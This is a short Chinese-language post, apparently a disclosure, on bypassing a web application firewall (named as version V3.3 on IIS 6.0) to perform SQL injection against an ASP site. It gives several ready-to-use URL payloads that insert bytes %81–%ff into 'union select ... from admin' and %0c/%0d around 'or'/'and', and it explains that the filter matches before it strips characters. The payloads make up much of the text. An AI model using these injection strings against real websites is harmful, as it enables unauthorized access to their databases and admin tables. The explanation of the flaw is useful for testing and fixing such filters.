?id=1%20union%20sel%81ect%201,2%20from%20admin//中
?id=1%20union%20select%81%201,2%20from%20admin//后
?id=1%20union%20%81select%201,2%20from%20admin//前
对于Select from 的拦截可在 select 前后或中间插入 %81~%ff,即可绕过拦截注入,如:
这三种形式,都可突破拦截注入
另外,对于or and 这种简单拦截,在or and 前后加 %0c 或%0d 这一点所有版本都存在,希望下次更新能修补。
测试环境:windows2003+iis6.0+V3.3狗,程序:asp连数库(输出当前查询语句并显示查询结果)
首页先看正常注入:语句:?id=0%20union%20select%201,2%20from%20admin,被拦截如图:
然后插入%81进行突破
语句:?id=1%20union%20select%81%201,2%20from%20admin,爆出字段1,2,狗未拦截如图:
对于漏洞的产生,可能开发者首先用正则先匹配select是否存在。然后再对%81~%ff之间的字符过滤,这样就犯了逻辑上的错误,应该是先过滤再匹配吧!